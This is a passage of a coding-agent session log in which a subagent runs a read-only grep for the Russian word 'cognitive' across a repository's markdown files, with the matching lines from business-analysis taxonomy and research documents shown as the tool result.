\"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T07:46:11.864Z] [STDOUT]   \"x-robots-tag\": \"none\",\n[2026-09-29T07:46:11.872Z] [STDOUT]   \"cf-ray\": \"a4295f617a974d8b-FRA\",\n[2026-09-29T07:46:11.876Z] [STDOUT] } ReadableStream { locked: false, state: 'readable', supportsBYOB: false }\n[2026-09-29T07:46:11.884Z] [STDOUT] [log_ea6be8] response parsed {\n[2026-09-29T07:46:11.891Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:46:11.897Z] [STDOUT]   status: 200,\n[2026-09-29T07:46:11.901Z] [STDOUT]   body: X {\n[2026-09-29T07:46:11.907Z] [STDOUT]     iterator: [AsyncGeneratorFunction: i],\n[2026-09-29T07:46:11.911Z] [STDOUT]     controller: AbortController {\n[2026-09-29T07:46:11.919Z] [STDOUT]       signal: [AbortSignal ...],\n[2026-09-29T07:46:11.923Z] [STDOUT]       abort: [Function: abort],\n[2026-09-29T07:46:11.926Z] [STDOUT]     },\n[2026-09-29T07:46:11.929Z] [STDOUT]     [Symbol(Symbol.asyncIterator)]: [Function],\n[2026-09-29T07:46:11.935Z] [STDOUT]     tee: [Function: tee],\n[2026-09-29T07:46:11.940Z] [STDOUT]     toReadableStream: [Function: toReadableStream],\n[2026-09-29T07:46:11.947Z] [STDOUT]   },\n[2026-09-29T07:46:11.956Z] [STDOUT]   durationMs: 767,\n[2026-09-29T07:46:11.962Z] [STDOUT] }\n[2026-09-29T07:46:11.968Z] [INFO] {\n[2026-09-29T07:46:11.968Z] [INFO]   \"type\": \"assistant\",\n[2026-09-29T07:46:11.968Z] [INFO]   \"message\": {\n[2026-09-29T07:46:11.968Z] [INFO]     \"model\": \"claude-opus-5-5\",\n[2026-09-29T07:46:11.968Z] [INFO]     \"id\": \"msg_011CfXMovbxP27QkvRKEz2in\",\n[2026-09-29T07:46:11.968Z] [INFO]     \"type\": \"message\",\n[2026-09-29T07:46:11.968Z] [INFO]     \"role\": \"assistant\",\n[2026-09-29T07:46:11.968Z] [INFO]     \"content\": [\n[2026-09-29T07:46:11.968Z] [INFO]       {\n[2026-09-29T07:46:11.968Z] [INFO]         \"type\": \"tool_use\",\n[2026-09-29T07:46:11.968Z] [INFO]         \"id\": \"toolu_016PCve2M3tAEnjHaL9u8HS8\",\n[2026-09-29T07:46:11.968Z] [INFO]         \"name\": \"Bash\",\n[2026-09-29T07:46:11.968Z] [INFO]         \"input\": {\n[2026-09-29T07:46:11.968Z] [INFO]           \"command\": \"grep -rn -i '\u043a\u043e\u0433\u043d\u0438\u0442\u0438\u0432\u043d' --include=*.md . | grep -v '^./research/ba-requirements/exp' | cut -c1-280 | head -40\",\n[2026-09-29T07:46:11.968Z] [INFO]           \"description\": \"Search cognitive across repo\"\n[2026-09-29T07:46:11.968Z] [INFO]         },\n[2026-09-29T07:46:11.968Z] [INFO]         \"caller\": {\n[2026-09-29T07:46:11.968Z] [INFO]           \"type\": \"direct\"\n[2026-09-29T07:46:11.968Z] [INFO]         }\n[2026-09-29T07:46:11.968Z] [INFO]       }\n[2026-09-29T07:46:11.968Z] [INFO]     ],\n[2026-09-29T07:46:11.968Z] [INFO]     \"container\": null,\n[2026-09-29T07:46:11.968Z] [INFO]     \"stop_reason\": null,\n[2026-09-29T07:46:11.968Z] [INFO]     \"stop_sequence\": null,\n[2026-09-29T07:46:11.968Z] [INFO]     \"stop_details\": null,\n[2026-09-29T07:46:11.968Z] [INFO]     \"usage\": {\n[2026-09-29T07:46:11.968Z] [INFO]       \"input_tokens\": 2,\n[2026-09-29T07:46:11.968Z] [INFO]       \"cache_creation_input_tokens\": 2523,\n[2026-09-29T07:46:11.968Z] [INFO]       \"cache_read_input_tokens\": 84107,\n[2026-09-29T07:46:11.968Z] [INFO]       \"cache_creation\": {\n[2026-09-29T07:46:11.968Z] [INFO]         \"ephemeral_5m_input_tokens\": 2523,\n[2026-09-29T07:46:11.968Z] [INFO]         \"ephemeral_1h_input_tokens\": 0\n[2026-09-29T07:46:11.968Z] [INFO]       },\n[2026-09-29T07:46:11.968Z] [INFO]       \"output_tokens\": 3,\n[2026-09-29T07:46:11.968Z] [INFO]       \"service_tier\": \"standard\",\n[2026-09-29T07:46:11.968Z] [INFO]       \"inference_geo\": \"not_available\"\n[2026-09-29T07:46:11.968Z] [INFO]     },\n[2026-09-29T07:46:11.968Z] [INFO]     \"input_transformations\": [],\n[2026-09-29T07:46:11.968Z] [INFO]     \"diagnostics\": null,\n[2026-09-29T07:46:11.968Z] [INFO]     \"context_management\": null\n[2026-09-29T07:46:11.968Z] [INFO]   },\n[2026-09-29T07:46:11.968Z] [INFO]   \"parent_tool_use_id\": \"toolu_01GFx7YR63TmqWwLsYXBMEow\",\n[2026-09-29T07:46:11.968Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:46:11.968Z] [INFO]   \"uuid\": \"95d2698e-302c-4ee7-906f-7c1e95352bb9\",\n[2026-09-29T07:46:11.968Z] [INFO]   \"timestamp\": \"2026-09-29T07:46:11.678Z\",\n[2026-09-29T07:46:11.968Z] [INFO]   \"request_id\": \"req_011CfXMov6THYKxhmvXEvPvd\",\n[2026-09-29T07:46:11.968Z] [INFO]   \"subagent_type\": \"general-purpose\",\n[2026-09-29T07:46:11.968Z] [INFO]   \"task_description\": \"Analyze ba-requirements research\"\n[2026-09-29T07:46:11.968Z] [INFO] }\n[2026-09-29T07:46:11.975Z] [INFO] {\n[2026-09-29T07:46:11.975Z] [INFO]   \"type\": \"system\",\n[2026-09-29T07:46:11.975Z] [INFO]   \"subtype\": \"task_progress\",\n[2026-09-29T07:46:11.975Z] [INFO]   \"task_id\": \"a8223c4e8f50f54ab\",\n[2026-09-29T07:46:11.975Z] [INFO]   \"tool_use_id\": \"toolu_01GFx7YR63TmqWwLsYXBMEow\",\n[2026-09-29T07:46:11.975Z] [INFO]   \"description\": \"Running Search cognitive across repo\",\n[2026-09-29T07:46:11.975Z] [INFO]   \"subagent_type\": \"general-purpose\",\n[2026-09-29T07:46:11.975Z] [INFO]   \"usage\": {\n[2026-09-29T07:46:11.975Z] [INFO]     \"total_tokens\": 87319,\n[2026-09-29T07:46:11.975Z] [INFO]     \"tool_uses\": 25,\n[2026-09-29T07:46:11.975Z] [INFO]     \"duration_ms\": 102401\n[2026-09-29T07:46:11.975Z] [INFO]   },\n[2026-09-29T07:46:11.975Z] [INFO]   \"last_tool_name\": \"Bash\",\n[2026-09-29T07:46:11.975Z] [INFO]   \"uuid\": \"60a6f85f-9bab-4277-9fbd-43cadcce75d5\",\n[2026-09-29T07:46:11.975Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\"\n[2026-09-29T07:46:11.975Z] [INFO] }\n[2026-09-29T07:46:13.008Z] [INFO] {\n[2026-09-29T07:46:13.008Z] [INFO]   \"type\": \"user\",\n[2026-09-29T07:46:13.008Z] [INFO]   \"message\": {\n[2026-09-29T07:46:13.008Z] [INFO]     \"role\": \"user\",\n[2026-09-29T07:46:13.008Z] [INFO]     \"content\": [\n[2026-09-29T07:46:13.008Z] [INFO]       {\n[2026-09-29T07:46:13.008Z] [INFO]         \"tool_use_id\": \"toolu_016PCve2M3tAEnjHaL9u8HS8\",\n[2026-09-29T07:46:13.008Z] [INFO]         \"type\": \"tool_result\",\n[2026-09-29T07:46:13.008Z] [INFO]         \"content\": \"./ops/backlog.md:289:| **B-124** | \u041f\u0440\u0435\u0434\u043c\u0435\u0442\u043d\u0430\u044f \u0442\u0430\u043a\u0441\u043e\u043d\u043e\u043c\u0438\u044f \u0411\u0410-\u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0439 \u0438 \u0441\u0432\u0435\u0440\u043a\u0430 \u0441 BABOK | **P2** | B-121 | deferred (icebox) | [#557](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/557) | [\u041c\u0430\u0442\u0440\u0438\u0446\u0430 \u043f\u043e\u043a\u0440\u044b\u0442\u0438\u044f, \u00a71 30-dec\\n./ops/backlog.md:338:| **B-141** | \u041a\u043e\u0440\u0440\u0435\u043a\u0442\u0438\u0440\u043e\u0432\u043a\u0430 \u043c\u0430\u043a\u0440\u043e-\u043c\u043e\u0434\u0443\u043b\u044f \u043c\u0435\u0442\u043e\u0434\u043e\u043b\u043e\u0433\u0438\u0438 \u043f\u043e \u0440\u0435\u0448\u0435\u043d\u0438\u044f\u043c \u0444\u0430\u0443\u043d\u0434\u0435\u0440\u0430 | **P1** | \u2014 | todo | [#561](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/561) | [\u041f\u043e\u043f\u0440\u0430\u0432\u043a\u0438 \u041f-1\u2026\u041f-5, \u00a71 \\n./ops/artifact-map.md:92:| `/research/mango/2026-08-17-mango-ba-processes-and-dod-ontology.md` | \u0430\u043d\u0430\u043b\u0438\u0437 | \u0441\u043f\u0440\u0430\u0432\u043a\u0430 | Inventory Analysis \u0434\u043b\u044f issue #512: \u0431\u0430\u0437\u043e\u0432\u0430\u044f \u043e\u043d\u0442\u043e\u043b\u043e\u0433\u0438\u044f \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u043e\u0432 \u0411\u0410, \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0439 \u0438 \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u0439 \u043a \u0414\u041e\u0414 \u0432 \\n./ops/artifact-map.md:408:| `/projects/ba-ai-process/ba-meta-model/operation-taxonomy/` | \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u0435 | \u2014 | RRP-\u043c\u043e\u0434\u0443\u043b\u044c \u0442\u0430\u043a\u0441\u043e\u043d\u043e\u043c\u0438\u0438 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0439 \u0411\u0410 (issue #571): \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u044f \u2014 \u0430\u0442\u043e\u043c\u0430\u0440\u043d\u043e\u0435, \u043d\u043e \u0441\u0435\u043c\u0430\u043d\u0442\u0438\u0447\u0435\u0441\u043a\u0438 \u0437\u0430\u0432\u0435\u0440\u0448\\n./projects/ba-ai-process/ba-meta-model/20-taxonomy.md:80:\u041e\u0441\u044c \u0438\u0434\u0435\u043d\u0442\u0438\u0447\u043d\u043e\u0441\u0442\u0438: **\u0442\u0438\u043f \u043a\u043e\u0433\u043d\u0438\u0442\u0438\u0432\u043d\u043e\u0439 \u0440\u0430\u0431\u043e\u0442\u044b**. \u0421\u043b\u043e\u0432\u0430\u0440\u044c, \u0443\u043d\u0430\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u0438\u0437\\n./projects/ba-ai-process/ba-meta-model/20-taxonomy.md:89:\u043f\u044f\u0442\u0438 \u043a\u043e\u0433\u043d\u0438\u0442\u0438\u0432\u043d\u044b\u0445 \u043a\u043b\u0430\u0441\u0441\u0430\u0445 (`extract`, `transform`, `generate`, `check`,\\n./projects/ba-ai-process/ba-meta-model/20-taxonomy.md:96:| `OP-1` | \u041e\u043f\u0435\u0440\u0430\u0446\u0438\u044f \u2014 \u0430\u0442\u043e\u043c\u0430\u0440\u043d\u043e\u0435, \u043d\u043e \u0441\u0435\u043c\u0430\u043d\u0442\u0438\u0447\u0435\u0441\u043a\u0438 \u0437\u0430\u0432\u0435\u0440\u0448\u0451\u043d\u043d\u043e\u0435 \u043a\u043e\u0433\u043d\u0438\u0442\u0438\u0432\u043d\u043e\u0435 \u0434\u0435\u0439\u0441\u0442\u0432\u0438\u0435 \u0441 \u043e\u0434\u043d\u0438\u043c \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u043e\u043c \u0432\u044b\u0445\u043e\u0434\u0430. \u041c\u0438\u043a\u0440\u043e\u0434\u0435\u0439\u0441\u0442\u0432\u0438\u0435 (\ufffd\\n./projects/ba-ai-process/ba-meta-model/operation-taxonomy/10-theory.md:24:| `D4` | 8 \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0439 \u0438\u0437 13 \u043f\u0435\u0440\u0435\u0447\u0438\u0441\u043b\u044f\u044e\u0442 \u0440\u0430\u0437\u043d\u043e\u0440\u043e\u0434\u043d\u044b\u0435 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u044b \u0432 \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0435\u043d\u0438\u0438: `understanding` \u2014 \u00ab\u0438\u0437\u0432\u043b\u0435\u043a\u0430\u0435\u0442 \u0442\u0435\u0440\u043c\u0438\u043d\u044b, \u0446\u0435\u043b\u0438, \u043d\u0435\u044f\u0432\ufffd\\n./projects/ba-ai-process/ba-meta-model/operation-taxonomy/10-theory.md:43:| `OA-4` | **\u041e\u0434\u0438\u043d \u0442\u0438\u043f \u043a\u043e\u0433\u043d\u0438\u0442\u0438\u0432\u043d\u043e\u0439 \u0440\u0430\u0431\u043e\u0442\u044b.** \u041e\u043f\u0435\u0440\u0430\u0446\u0438\u044f \u043f\u0440\u0438\u043d\u0430\u0434\u043b\u0435\u0436\u0438\u0442 \u0440\u043e\u0432\u043d\u043e \u043e\u0434\u043d\u043e\u043c\u0443 \u043a\u043b\u0430\u0441\u0441\u0443 \u0438\u0437 \u043f\u044f\u0442\u0438 (\u00a73). \u0418\u0437\u0432\u043b\u0435\u0447\u0435\u043d\u0438\u0435 \u0438 \u043f\u043e\u0440\u043e\u0436\u0434\u0435\u043d\\n./projects/ba-ai-process/ba-meta-model/operation-taxonomy/10-theory.md:51:## 3. \u041f\u044f\u0442\u044c \u043a\u043e\u0433\u043d\u0438\u0442\u0438\u0432\u043d\u044b\u0445 \u043a\u043b\u0430\u0441\u0441\u043e\u0432\\n./projects/ba-ai-process/ba-meta-model/operation-taxonomy/20-taxonomy.md:48:| `OI-3` | ID \u0441\u0442\u0430\u0431\u0438\u043b\u0435\u043d \u043f\u0440\u0438 \u0443\u0442\u043e\u0447\u043d\u0435\u043d\u0438\u0438 \u0444\u043e\u0440\u043c\u0443\u043b\u0438\u0440\u043e\u0432\u043a\u0438 \u0438 \u043d\u0435 \u043f\u0435\u0440\u0435\u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f \u043f\u043e\u0441\u043b\u0435 \u0434\u0435\u043f\u0440\u0435\u043a\u0430\u0446\u0438\u0438; \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u0435 \u043a\u043e\u0433\u043d\u0438\u0442\u0438\u0432\u043d\u043e\u0433\u043e \u0434\u0435\\n./projects/ba-ai-process/ba-meta-model/operation-taxonomy/20-taxonomy.md:230:\u043e\u043d\u0438 \u043e\u0431\u044a\u0435\u0434\u0438\u043d\u044f\u043b\u0438 \u0440\u0430\u0437\u043d\u044b\u0435 \u0442\u0438\u043f\u044b \u043a\u043e\u0433\u043d\u0438\u0442\u0438\u0432\u043d\u043e\u0439 \u0440\u0430\u0431\u043e\u0442\u044b. \u042d\u0442\u043e \u0438 \u0435\u0441\u0442\u044c \u0438\u0437\u043c\u0435\u0440\u0435\u043d\u043d\u044b\u0439 \u0434\u0435\u0444\u0435\u043a\u0442\\n./projects/ba-ai-process/ba-meta-model/operation-taxonomy/30-decision-framework.md:29:| 3 | \u0420\u0430\u0431\u043e\u0442\u0430 \u0441\u043e\u0441\u0442\u043e\u0438\u0442 \u0431\u043e\u043b\u0435\u0435 \u0447\u0435\u043c \u0438\u0437 \u043e\u0434\u043d\u043e\u0433\u043e \u0442\u0438\u043f\u0430 \u043a\u043e\u0433\u043d\u0438\u0442\u0438\u0432\u043d\u043e\u0439 \u0440\u0430\u0431\u043e\u0442\u044b (\u00a73 \u0442\u0435\u043e\u0440\u0438\u0438)? | **\u043d\u0430\u0432\u044b\u043a** (`L3`) | \u0448\u0430\u0433 4 |\\n./projects/ba-ai-process/ba-meta-model/operation-taxonomy/30-decision-framework.md:85:| `EO-4` | \u041e\u0431\u044a\u044f\u0432\u043b\u0435\u043d \u043a\u043b\u0430\u0441\u0441 \u043a\u043e\u0433\u043d\u0438\u0442\u0438\u0432\u043d\u043e\u0439 \u0440\u0430\u0431\u043e\u0442\u044b, \u0438 \u043e\u043d \u043e\u0434\u0438\u043d | \u043c\u0430\u0448\u0438\u043d\u043d\u0430\u044f |\\n./projects/ba-ai-process/ba-meta-model/operation-taxonomy/00-introduction.md:27:2. \u041e\u043f\u0435\u0440\u0430\u0446\u0438\u044f \u0437\u0434\u0435\u0441\u044c \u2014 **\u0430\u0442\u043e\u043c\u0430\u0440\u043d\u043e\u0435, \u043d\u043e \u0441\u0435\u043c\u0430\u043d\u0442\u0438\u0447\u0435\u0441\u043a\u0438 \u0437\u0430\u0432\u0435\u0440\u0448\u0451\u043d\u043d\u043e\u0435 \u043a\u043e\u0433\u043d\u0438\u0442\u0438\u0432\u043d\u043e\u0435\\n./projects/ba-ai-process/ba-meta-model/operation-taxonomy/00-introduction.md:33:   \u0432\u0435\u0442\u0432\u043b\u0435\u043d\u0438\u044f, \u0440\u043e\u0432\u043d\u043e \u043e\u0434\u0438\u043d \u0442\u0438\u043f \u043a\u043e\u0433\u043d\u0438\u0442\u0438\u0432\u043d\u043e\u0439 \u0440\u0430\u0431\u043e\u0442\u044b.\\n./projects/ba-ai-process/ba-meta-model/operation-taxonomy/00-introduction.md:37:5. \u0421\u043b\u043e\u0432\u0430\u0440\u044c **\u0437\u0430\u043a\u0440\u044b\u0442\u044b\u0439**: 31 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u044f \u0432 \u043f\u044f\u0442\u0438 \u043a\u043e\u0433\u043d\u0438\u0442\u0438\u0432\u043d\u044b\u0445 \u043a\u043b\u0430\u0441\u0441\u0430\u0445 \u2014 \u0438\u0437\u0432\u043b\u0435\u0447\u0435\u043d\u0438\u0435,\\n./projects/ba-ai-process/docs/rfc/2026-09-mango-ba-ai-runtime-cli-deployment.md:273:### 6. \u041c\u0435\u0442\u0430-\u043a\u043e\u0433\u043d\u0438\u0442\u0438\u0432\u043d\u044b\u0435 human checkpoints\\n./docs/rfc/methodology-research-and-proposals.md:395:\u043a\u043e\u0433\u043d\u0438\u0442\u0438\u0432\u043d\u044b\u0435 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0438 \u0440\u0430\u0437\u0434\u0435\u043b\u044c\u043d\u043e.\\n./docs/rfc/methodology-research-and-proposals.md:405:| 2 | **Workflow** | \u041f\u0440\u0438\u043d\u0430\u0434\u043b\u0435\u0436\u043d\u043e\u0441\u0442\u044c Product Layer, \u043a\u043e\u0433\u043d\u0438\u0442\u0438\u0432\u043d\u044b\u0435 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0438, \u0448\u0430\u0433\u0438, \u0442\u043e\u0447\u043a\u0438 \u0440\u0435\u0448\u0435\u043d\u0438\u0439. | **Product Layer Mango** + \u043e\u0441\u044c Cognitive Operations (D.1); \u043d\u043e\u0442\u0430\u0446\u0438\u044f BPMN (\\n./docs/adr/2026-09-adr-015-process-operation-taxonomy-rebuild.md:66:| `TX-5` | \u041e\u043f\u0435\u0440\u0430\u0446\u0438\u044f \u0430\u0442\u043e\u043c\u0430\u0440\u043d\u0430: \u043e\u0434\u0438\u043d \u043a\u043b\u0430\u0441\u0441 \u0432\u044b\u0445\u043e\u0434\u0430, \u043e\u0442\u0441\u0443\u0442\u0441\u0442\u0432\u0438\u0435 \u0432\u0435\u0442\u0432\u043b\u0435\u043d\u0438\u044f, \u043e\u0434\u0438\u043d \u0442\u0438\u043f \u043a\u043e\u0433\u043d\u0438\u0442\u0438\u0432\u043d\u043e\u0439 \u0440\u0430\u0431\u043e\u0442\u044b. \u0412\u0441\u0451, \u0447\u0442\u043e \u0442\u0440\u0435\u0431\u0443\u0435\u0442 \u043f\u043e\u0441\u043b\\n./docs/analysis/2026-07-10-r-a-a-report-structural-desync-options.md:176:**Trade-off.** \u041d\u0438\u0437\u043a\u0430\u044f \u0441\u0442\u043e\u0438\u043c\u043e\u0441\u0442\u044c \u0441\u0435\u0439\u0447\u0430\u0441 \u0446\u0435\u043d\u043e\u0439 \u043f\u043e\u0441\u0442\u043e\u044f\u043d\u043d\u043e\u0439 \u043a\u043e\u0433\u043d\u0438\u0442\u0438\u0432\u043d\u043e\u0439 \u0438\\n./docs/analysis/2026-07-10-r-a-a-report-structural-desync-options.md:273:**Trade-off.** \u041f\u0440\u0438\u043d\u0438\u043c\u0430\u0435\u0442\u0441\u044f \u0442\u0435\u043a\u0443\u0449\u0430\u044f \u043a\u043e\u0433\u043d\u0438\u0442\u0438\u0432\u043d\u0430\u044f \u0441\u0442\u043e\u0438\u043c\u043e\u0441\u0442\u044c \u0440\u0430\u0434\u0438 \u043e\u0442\u0441\u0443\u0442\u0441\u0442\u0432\u0438\u044f\\n./docs/project-summaries/mango-ba-prompts-context-Summary.md:21:  \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u043e\u043d\u043d\u044b\u0439 \u0431\u044d\u043a\u043b\u043e\u0433), \u0442\u0430\u043a\u0441\u043e\u043d\u043e\u043c\u0438\u044f 13 \u043a\u043e\u0433\u043d\u0438\u0442\u0438\u0432\u043d\u044b\u0445 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0439 \u00d7 9 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u043e\u0432 \u0411\u0410 \u0438\\n./research/open-ai-ru/2026-06-20-open-ai-ru-repository-architecture-and-l3-l4.md:623:| \u041d\u0438\u0437\u043a\u0438\u0439 \u043a\u043e\u0433\u043d\u0438\u0442\u0438\u0432\u043d\u044b\u0439 overhead \u0434\u043b\u044f Phase 0 | `solution-concept.md` \u043c\u043e\u0436\u0435\u0442 \u0440\u0430\u0437\u0440\u0430\u0441\u0442\u0438\u0441\u044c |\\n./research/mango/2026-08-17-mango-ba-processes-and-dod-ontology.md:31:\u0442\u0440\u0451\u0445 \u0441\u043b\u043e\u0451\u0432: **13 \u043a\u043e\u0433\u043d\u0438\u0442\u0438\u0432\u043d\u044b\u0445 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0439 \u00d7 9 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u043e\u0432 \u0411\u0410** (\u0440\u0435\u0435\u0441\u0442\u0440\\n./research/mango/2026-08-17-mango-ba-processes-and-dod-ontology.md:68:2. **\u041e\u043f\u0435\u0440\u0430\u0446\u0438\u044f** \u2014 \u043a\u043e\u0433\u043d\u0438\u0442\u0438\u0432\u043d\u044b\u0439 \u0448\u0430\u0433 \u0432\u043d\u0443\u0442\u0440\u0438 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0430 \u0438\u0437 \u0442\u0430\u043a\u0441\u043e\u043d\u043e\u043c\u0438\u0438\\n./research/mango/2026-08-17-mango-ba-processes-and-dod-ontology.md:115:\u00ab\u0442\u0430\u043a\u0441\u043e\u043d\u043e\u043c\u0438\u044f 13 \u043a\u043e\u0433\u043d\u0438\u0442\u0438\u0432\u043d\u044b\u0445 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0439 \u00d7 9 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u043e\u0432 \u0411\u0410\u00bb; \u043f\u0435\u0440\u0432\u043e\u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a \u2014\\n./research/mango/2026-08-17-mango-ba-processes-and-dod-ontology.md:147:### 2. \u0421\u043b\u043e\u0439 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0439 (13 \u043a\u043e\u0433\u043d\u0438\u0442\u0438\u0432\u043d\u044b\u0445 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0439)\\n./research/mango/README.md:28:| [2026-08-17-mango-ba-processes-and-dod-ontology.md](2026-08-17-mango-ba-processes-and-dod-ontology.md) | Inventory Analysis \u0434\u043b\u044f issue #512: \u0431\u0430\u0437\u043e\u0432\u0430\u044f \u043e\u043d\u0442\u043e\u043b\u043e\u0433\u0438\u044f \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u043e\u0432 \u0411\u0410, \u043a\u043e\u0433\u043d\u0438\u0442\u0438\u0432\u043d\u044b\u0445 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0439 \u0438 \u0442\ufffd\\n./research/mango/2026-06-18-requirements-engineering-ai-era.md:148:**\u0427\u0442\u043e \u0432 mango.** 13 \u043a\u043e\u0433\u043d\u0438\u0442\u0438\u0432\u043d\u044b\u0445 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0439, \u0440\u0430\u0437\u043c\u0435\u0447\u0435\u043d\u043d\u044b\u0445 \u043f\u043e 6 \u043e\u0431\u043b\u0430\u0441\u0442\u044f\u043c \u0437\u043d\u0430\u043d\u0438\u0439 BABOK\\n./research/ba-requirements/artifact-micro-structure/10-theory.md:45:| `MTH-OPS` | \u0443\u043d\u0438\u0432\u0435\u0440\u0441\u0430\u043b\u044c\u043d\u044b\u0435 \u043a\u043e\u0433\u043d\u0438\u0442\u0438\u0432\u043d\u044b\u0435 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0438 \u0438 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u044b \u0411\u0410 | \u0440\u043e\u043b\u044c \u00ab\u0430\u0440\u0445\u0438\u0442\u0435\u043a\u0442\u043e\u0440 \u043c\u0435\u0442\u043e\u0434\u043e\u043b\u043e\u0433\u0438\u0438 \u0425\u0430\u0431\u0430\u00bb |\\n./research/ba-requirements/README.md:118:  \u0441\u0435\u043c\u0430\u043d\u0442\u0438\u0447\u0435\u0441\u043a\u0438 \u0437\u0430\u0432\u0435\u0440\u0448\u0451\u043d\u043d\u043e\u0435** \u043a\u043e\u0433\u043d\u0438\u0442\u0438\u0432\u043d\u043e\u0435 \u0434\u0435\u0439\u0441\u0442\u0432\u0438\u0435 \u0441 \u0448\u0435\u0441\u0442\u0438\u043f\u043e\u043b\u0435\u0432\u044b\u043c \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u043e\u043c,\\n./research/ba-requirements/normalization/10-theory.md:89:| E4 | **\u041e\u043f\u0435\u0440\u0430\u0446\u0438\u044f** | \u0430\u0442\u043e\u043c\u0430\u0440\u043d\u043e\u0435 \u043a\u043e\u0433\u043d\u0438\u0442\u0438\u0432\u043d\u043e\u0435 \u0434\u0435\u0439\u0441\u0442\u0432\u0438\u0435 \u043d\u0430\u0434 \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u043e\u043c | \u0432\u0445\u043e\u0434, \u0432\u044b\u0445\u043e\u0434, \u043a\u0440\u0438\u0442\u0435\u0440\u0438\u0439 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u043d\u043e\u0441\u0442\u0438 |\\n./research/ba-requirements/normalization/30-decision-framework.md:46:| U5 \u041d\u043e\u0440\u043c\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u044f \u0444\u043e\u0440\u043c\u044b | 13 \u043a\u043e\u0433\u043d\u0438\u0442\u0438\u0432\u043d\u044b\u0445 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0439, 24 \u043f\u0440\u043e\u043c\u043f\u0442\u0430 | **\u043f\u043e\u043b\u043d\u043e\u0435** | \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u0439 \u043d\u0435 \u0442\u0440\u0435\u0431\u0443\u0435\u0442\u0441\u044f |\\n./research/ba-requirements/normalization/30-decision-framework.md:287:**\u041d\u0435 \u043c\u0435\u043d\u044f\u0435\u0442\u0441\u044f \u043d\u0430 \u044d\u0442\u043e\u0439 \u0438\u0442\u0435\u0440\u0430\u0446\u0438\u0438:** 13 \u043a\u043e\u0433\u043d\u0438\u0442\u0438\u0432\u043d\u044b\u0445 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0439, 30 \u0442\u0438\u043f\u043e\u0432 \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u043e\u0432,\\n./research/ba-requirements/normalization/00-introduction.md:142:- \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u0435 13 \u0430\u0442\u043e\u043c\u0430\u0440\u043d\u044b\u0445 \u043a\u043e\u0433\u043d\u0438\u0442\u0438\u0432\u043d\u044b\u0445 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0439 Mango \u2014 \u043d\u0430 \u044d\u0442\u043e\u0439 \u0438\u0442\u0435\u0440\u0430\u0446\u0438\u0438 \u043e\u043d\u0438\\n./research/ai-education/memory/20-taxonomy.md:34:\u043a\u043e\u0433\u043d\u0438\u0442\u0438\u0432\u043d\u043e\u0439 \u043f\u0441\u0438\u0445\u043e\u043b\u043e\u0433\u0438\u0438, \u043d\u043e \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u044e\u0442\u0441\u044f \u0437\u0434\u0435\u0441\u044c \u043f\u043e \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u043e\u043d\u043d\u043e\u043c\u0443 \u043f\u0440\u0438\u0437\u043d\u0430\u043a\u0443, \u0430 \u043d\u0435 \u043f\u043e\\n./research/ai-education/information-extraction-graph-modeling/00-introduction.md:94:   discovery \u2192 normalization \u2192 verification \u0441\u043d\u0438\u0436\u0430\u044e\u0442 \u043a\u043e\u0433\u043d\u0438\u0442\u0438\u0432\u043d\u0443\u044e \u043d\u0430\u0433\u0440\u0443\u0437\u043a\u0443 \u043e\u0434\u043d\u043e\u0439\\n./research/hub/2026-07-04-hub-as-agent-system-global-analysis.md:1344:\u043a\u043e\u043d\u0441\u0443\u043b\u044c\u0442\u0430\u043d\u0442 \u043f\u0435\u0440\u0435\u0444\u043e\u0440\u043c\u0443\u043b\u0438\u0440\u0443\u0435\u0442 